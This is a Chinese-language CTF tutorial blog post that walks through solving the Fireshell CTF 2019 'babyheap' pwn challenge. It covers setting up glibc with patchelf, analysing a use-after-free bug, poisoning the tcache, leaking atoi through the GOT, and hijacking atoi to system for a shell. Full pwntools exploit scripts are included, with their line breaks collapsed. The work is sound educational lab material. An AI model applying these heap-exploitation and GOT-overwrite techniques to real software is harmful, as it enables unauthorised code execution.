web选手入门pwn(9)

渗透技巧 1年前 (2022) admin
612 0 0

1,    准备工作

https://github.com/happysox/CTF_Writeups/tree/master/Fireshell_CTF_2019/babyheap
面对堆题的时候,本地上的libc往往无法满足需求(版本过高漏洞被修复),此时可以使用已经准备好了可以切换glibc环境的docker。
https://hub.docker.com/r/skysider/pwndocker
也可以切换本地libc为题目给定libc,在切换之前需要准备。
https://github.com/NixOS/patchelf
https://github.com/matrix1001/glibc-all-in-one

首先需要弄清楚libc版本
strings libc.so.6 | grep “GLIBC”

web选手入门pwn(9)

然后寻找对应的glibc版本。
cd glibc-all-in-one-master
python update_list
cat list

web选手入门pwn(9)

cat old_list
download_old 2.26-0ubuntu2.1_amd64

web选手入门pwn(9)

会缓慢下载两个debs文件并进行解压,其中libc-dbg包这个解压并下载好才能用gdb使用一些插件功能。
有时候这里没有我们想要的,可以尝试下载接近的版本(堆漏洞通常低版本libc也存在一样的漏洞),也可以手动去寻找。glibc-all-in-one默认使用清华源,还有两个ubuntu源,可自己寻找源,也可以直接搜我们想要的glibc。
http://lliurex.net/xenial/pool/main/g/glibc/
http://security.debian.org/debian-security/pool/updates/main/g/glibc/

下载完之后执行如下命令,备份并更换单程序libc。

cp babyheap babyheap2ldd babyheappatchelf --set-interpreter /home/sonomon/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64/ld-2.26.so ./babyheappatchelf --set-rpath /home/sonomon/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64 ./babyheapldd babyheap./babyheap

web选手入门pwn(9)

如果想还原,直接cp babyheap2 babyheap即可。
如果没有备份,可以参考其他64位程序的链接库进行还原。

ldd /bin/shpatchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 ./babyheappatchelf --set-rpath /lib/x86_64-linux-gnu/ ./babyheapldd babyheap./babyheap


网上教程多数会使用patchelf –replace-needed这种命令,但这种可能产生其他问题不建议使用。如果glibc-all-in-one找不到需要手动下载,注意直接在linux中解压,这样可以保留权限和链接。以及需要下载libc6和libc6-dbg包,并将libc6-dbg的debug目录放在合适的位置。
系统debug目录如下(更换时需要备份)
/usr/lib/debug
修改gdb debug目录如下(仅当前gdb生效)
show debug-file-directory
set debug-file-directory /tmp/debug

如果这些都不成功,这题可以用ubuntu16.04(libc-2.23)或者ubuntu18.04.4(libc-2.27)直接做。

2,    babyheap2019

切换好了libc之后,查看保护并运行一下程序

web选手入门pwn(9)

堆题的特征就是保护比较多(这题没有),运行之后是增删改查。

看反编译代码,v3=1(Create)时,先检测qword_6020A0,过了就会执行sub_4008B2()。

web选手入门pwn(9)

sub_4008B2中有明显的malloc(),开辟了一块0x60的chunk,并将qword_6020A0置1,那么很明显,我们只有一块chunk。

web选手入门pwn(9)

在gdb中感受一下。
注意一:由于编译问题gdb中不识别方法,在ida中找到地址然后下断点。
注意二:如果这里libc未设置好debug,一些gdb命令比如heap无法使用,可以暂时用备份调试。
gdb babyheap
b* 0x4008b2
r
1
n
n
n
heap

web选手入门pwn(9)

在malloc之前heap无反应。
n
heap
x/20gx 0x603290

malloc之后,出现chunk,Size: 0x71是我们开辟的chunk。

web选手入门pwn(9)

其中top chunk为预置,我们还可以用堆管理器main_arena查看。
x/32xw &main_arena

web选手入门pwn(9)

初步感受了一下chunk,回头继续看代码。


当v3!=3时break,也就是v3=3(Show),且qword_6020B0不为1时进入sub_40091D()。在里面打印buf(指向我们的chunk)并将qword_6020B0置1。

web选手入门pwn(9)

web选手入门pwn(9)

同理,2(Edit)和4(Delete)代码如下。

web选手入门pwn(9)

web选手入门pwn(9)

其中4(delete)会将qword_6020A0置0,方便重新Create。这也是唯一一个置0。
以及拥有一个1337(Fill)的隐藏选项。

web选手入门pwn(9)

web选手入门pwn(9)

我们分别进行操作,查看chunk,以熟悉其内存布局。
Create——Edit

web选手入门pwn(9)

Create——Edit——Delete

web选手入门pwn(9)

可以注意到,chunk在free之后,不会清空整个chunk,只会清空第二行(第一行始终存Size)然后写入fd和bk,并挂在tcache中。
heapinfo
heap

web选手入门pwn(9)

在glibc 2.26之后引入tcache机制,但只能存储7个free chunk,大于7个还是用旧的fastbin。下图是另外一个pwn题free多个chunk。

web选手入门pwn(9)

fd/bk分别指向tcache/fastbin中的前一个chunk/后一个chunk,不过这里调试只有fd而且是0x00。我们用备份的babyheap2(libc-2.33.so)调试结果如下。

web选手入门pwn(9)

在ubuntu(libc-2.27.so)上调试结果如下。

web选手入门pwn(9)

好像都不一样,不过没关系,不影响我们做题。这题的漏洞出现在free()之后没有清理buf指针,导致可以先delete再edit,直接修改fd和bk。
这是典型的UAF漏洞,堆题常见漏洞如下。
https://www.freebuf.com/articles/system/171261.html

gdb babyheap
r
1
4
2
AAAAAAAA
Ctrl+C
heapinfo

web选手入门pwn(9)

可以看到tcache链表指向错误地址,如何利用这个地址呢?再新建两个大小一样的chunk即可,第一个会占用当前tcache,第二个会寻找下一个tcache,指向错误地址导致报错。
因此使这个程序报错的方法就出来了。
./babyheap
1
4
2
AAAAAAAA
1
1337

web选手入门pwn(9)

那么如何才能利用这个漏洞呢?回顾下1337。

web选手入门pwn(9)

buf新开辟的chunk地址就是AAAAAAAA,后面又有read,等于我们可以完全控制一个地址中的0x40字节。那么控制哪里才能产生效果呢?
答案是bss段。

web选手入门pwn(9)

这里存储着qword_6020A0等计数器,以及buf的指针。我们先尝试修改计数器,通过之前的代码分析可知,只有Delete会重置Create的计数器,也就是说Create可使用两次,Edit/Show/Delete/Fill都只能使用一次。

web选手入门pwn(9)

执行代码

from pwn import *
#context(log_level='debug')p = gdb.debug("./babyheap","b* 0x40098B")p.sendlineafter("> ", "1")p.sendlineafter("> ", "4")p.sendlineafter("> ", "2")p.sendlineafter("Content? ", p64(0x6020A0))p.sendlineafter("> ", "1")p.sendlineafter("> ", "1337")p.sendafter("Fill ", "x00"*0x20)p.sendlineafter("> ", "3")


在Fill执行malloc之前,除了Show之外的计数器都置为1,buf地址为0x19f0260,也就是chunk+0x10。

web选手入门pwn(9)

malloc之后,buf指向tcache的下一个链表,也就是我们之前埋下的伏笔0x6020A0。

web选手入门pwn(9)

那么就可以编辑bss段,一路步进到执行了read,塞进去多个0清空所有计数器。

web选手入门pwn(9)

再执行Edit,可以发现因为计数器被清空的原因是可以执行的。

p.sendlineafter("> ", "2")p.sendlineafter("Content? ", "AAAA")

web选手入门pwn(9)

我们还有什么功能没用?Show!这题没有后门函数,又给了libc,很明显是想让我们泄露libc中的system真实地址,这里我们既然能修改计数器,那么修改buf地址为任意函数的got地址,再执行Show不就行了吗?
这里需要选择atoi,后面会明白为什么。

web选手入门pwn(9)

from pwn import *
context(log_level='debug')p = gdb.debug("./babyheap")elf = ELF("./babyheap")atoi_got = elf.got['atoi']
p.sendlineafter("> ", "1")p.sendlineafter("> ", "4")p.sendlineafter("> ", "2")p.sendlineafter("Content? ", p64(0x6020A0))p.sendlineafter("> ", "1")p.sendlineafter("> ", "1337")p.sendafter("Fill ", "x00"*0x28+ p64(atoi_got))p.sendlineafter("> ", "3")print(p.recv())

web选手入门pwn(9)

可以看到确实打印出来了一个地址,我们有libc,可以跟libc中的atoi对比下。

from pwn import *
context(log_level='debug')p = process("./babyheap")elf = ELF("./babyheap")atoi_got = elf.got['atoi']libc = ELF("./libc.so.6")
p.sendlineafter("> ", "1")p.sendlineafter("> ", "4")p.sendlineafter("> ", "2")p.sendlineafter("Content? ", p64(0x6020A0))p.sendlineafter("> ", "1")p.sendlineafter("> ", "1337")p.sendafter("Fill ", "x00"*0x28+ p64(atoi_got))p.sendlineafter("> ", "3")atoi_addr = u64(p.recvline()[9:15]+"x00"*2) print(hex(atoi_addr))print(hex(libc.sym['atoi']))

web选手入门pwn(9)

后三位一致,证明这个地址大概率是对的,拿去网站查询。

web选手入门pwn(9)

ubuntu2.1和ubuntu2都是一样的,获取了相对位置,则可以获取system的真实地址。
然后又该怎么利用呢?别忘了bss段存储的buf指针被我们编辑成了atoi的got表,用Show会泄露其真实地址,用Edit就会编辑got表。此时编辑成system的真实地址,就等于劫持了got表。在Edit的read()处下断点可以看到。

web选手入门pwn(9)

最后再触发atoi即可,即在输入1-5的界面,输入/bin/sh,就可以巧妙的获得shell。
最终exp如下。

from pwn import *
#context(log_level='debug')p = process("./babyheap")elf = ELF("./babyheap")atoi_got = elf.got['atoi']

p.sendlineafter("> ", "1")p.sendlineafter("> ", "4")p.sendlineafter("> ", "2")p.sendlineafter("Content? ", p64(0x6020A0))p.sendlineafter("> ", "1")p.sendlineafter("> ", "1337")p.sendafter("Fill ", "x00"*0x28+ p64(atoi_got))p.sendlineafter("> ", "3")atoi_addr = u64(p.recvline()[9:15]+"x00"*2) print(hex(atoi_addr))system_addr = atoi_addr+0xf010print(hex(system_addr))p.sendlineafter("> ", "2")p.sendlineafter("Content? ", p64(system_addr))p.sendlineafter("> ", "/bin/sh")p.interactive()

web选手入门pwn(9)


d

原文始发于微信公众号(珂技知识分享):web选手入门pwn(9)

版权声明:admin 发表于 2022年10月25日 上午11:24。
转载请注明:web选手入门pwn(9) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...